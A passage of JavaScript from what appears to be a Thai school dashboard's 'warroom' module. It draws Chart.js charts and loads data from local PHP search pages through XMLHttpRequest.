myObj.length; i++) { x[i] = myObj[i][data_x]; y[i] = myObj[i][data_y]; } //ส่วนแสดงกราฟ var input_lables = x; var input_data = y; var ctx2 = document.getElementById(chart_display); var myChart2 = new Chart(ctx2, { type: chart_type, data: { labels: input_lables, datasets: [{ label: label_text, data: input_data, backgroundColor: [ 'rgba(255, 99, 132, 0.2)', 'rgba(54, 162, 235, 0.2)', 'rgba(255, 206, 86, 0.2)', 'rgba(75, 192, 192, 0.2)', 'rgba(153, 102, 255, 0.2)', 'rgba(255, 159, 64, 0.2)' ], borderColor: [ 'rgba(255,99,132,1)', 'rgba(54, 162, 235, 1)', 'rgba(255, 206, 86, 1)', 'rgba(75, 192, 192, 1)', 'rgba(153, 102, 255, 1)', 'rgba(255, 159, 64, 1)' ], borderWidth: 1 }] }, options: { scales: { yAxes: [{ ticks: { beginAtZero:true } }] } } }); // END ส่วนแสดงกราฟ } }; xmlhttp.open("GET", "modules/warroom/main/"+livesearch+"?q="+val1, true); if(document.getElementById(display_button).style.backgroundColor ==""){ xmlhttp.send(); } if(document.getElementById(div_display).style.display=="block"){ document.getElementById(display_button).value="แสดงกราฟ"; document.getElementById(display_button).style.backgroundColor = "#A9D0F5"; document.getElementById(div_display).style.display="none"; } else if(document.getElementById(div_display).style.display=="none"){ document.getElementById(display_button).value="ไม่แสดงกราฟ"; document.getElementById(display_button).style.backgroundColor = "#F78181"; document.getElementById(div_display).style.display="block"; } } function displayFunction(y,x,school,ed_year,file_name,div_show,person) { var livesearch="livesearch_"+file_name+".php"; var e_id=y+"_"+x; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { document.getElementById(div_show).innerHTML=this.responseText; } } xmlhttp.open("GET","modules/warroom/main/"+livesearch+"?q="+school+"&y="+y+"&x="+x+"&ed_year="+ed_year+"&person_id="+person,true); xmlhttp.send(); document.getElementById("204").innerHTML=""; } function OverFunction(y,x) { var e_id=y+"_"+x; document.getElementById(e_id).style.cursor="pointer"; document.getElementById(e_id).style.color = "orange"; } function OutFunction(y,x) { var e_id=y+"_"+x; document.getElementById(e_id).style.color = "black"; } function budget(){ var x = document.getElementById("412").value; val2="budget"; var livesearch="livesearch_"+val2+".php"; var display_button=val2+"_button"; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { document.getElementById(val2).innerHTML=this.responseText; } } xmlhttp.open("GET","modules/warroom/main/"+livesearch+"?qq="+x,true); xmlhttp.send(); } </script>
Close